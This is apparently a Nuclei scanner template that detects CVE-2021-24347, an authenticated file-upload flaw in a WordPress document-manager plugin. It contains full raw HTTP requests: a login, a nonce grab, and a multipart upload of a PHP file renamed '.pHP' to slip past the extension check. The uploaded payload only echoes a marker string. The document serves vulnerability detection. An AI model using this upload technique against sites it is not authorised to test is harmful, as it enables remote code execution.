WordPress SP Project & Document Manager <4.22 - Authenticated Shell Upload

id: CVE-2021-24347

info:
  name: WordPress SP Project & Document Manager <4.22 - Authenticated Shell Upload
  author: theamanrawat
  severity: high
  description: |
    WordPress SP Project & Document Manager plugin before 4.22 is susceptible to authenticated shell upload. The plugin allows users to upload files; however, the plugin attempts to prevent PHP and other similar executable files from being uploaded via checking the file extension. PHP files can still be uploaded by changing the file extension's case, for example, from php to pHP.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected WordPress site.
  remediation: Fixed in version 4.22.
  reference:
    - https://wpscan.com/vulnerability/8f6e82d5-c0e9-468e-acb8-7cd549f6a45a
    - https://wordpress.org/plugins/sp-client-document-manager/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24347
    - http://packetstormsecurity.com/files/163434/WordPress-SP-Project-And-Document-Manager-4.21-Shell-Upload.html
    - https://github.com/Hacker5preme/Exploits
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-24347
    cwe-id: CWE-178
    epss-score: 0.5408
    epss-percentile: 0.99015
    cpe: cpe:2.3:a:smartypantsplugins:sp_project_\&_document_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: smartypantsplugins
    product: sp_project_\&_document_manager
    framework: wordpress
  tags: cve2021,cve,sp-client-document-manager,wpscan,wp-plugin,wp,authenticated,wordpress,rce,packetstorm,intrusive,smartypantsplugins,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=sp-client-document-manager-fileview HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin.php?page=sp-client-document-manager-fileview&id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaeBrxrKJzAF0Tgfy

        ------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
        Content-Disposition: form-data; name="cdm_upload_file_field"

        {{nonce}}
        ------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
        Content-Disposition: form-data; name="_wp_http_referer"

        /wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=1
        ------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
        Content-Disposition: form-data; name="dlg-upload-name"


        ------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
        Content-Disposition: form-data; name="dlg-upload-file[]"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
        Content-Disposition: form-data; name="dlg-upload-file[]"; filename="{{randstr}}.pHP"
        Content-Type: image/svg+xml

        <?php

        echo "CVE-2021-24347";

        ?>
        ------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
        Content-Disposition: form-data; name="dlg-upload-notes"


        ------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
        Content-Disposition: form-data; name="sp-cdm-community-upload"

        Upload
        ------WebKitFormBoundaryaeBrxrKJzAF0Tgfy--
      - |
        GET /wp-content/uploads/sp-client-document-manager/1/{{to_lower("{{randstr}}.pHP")}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(header_4, "text/html")
          - status_code_4 == 200
          - contains(body_4, "CVE-2021-24347")
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - name="cdm_upload_file_field" value="([0-9a-zA-Z]+)"
        internal: true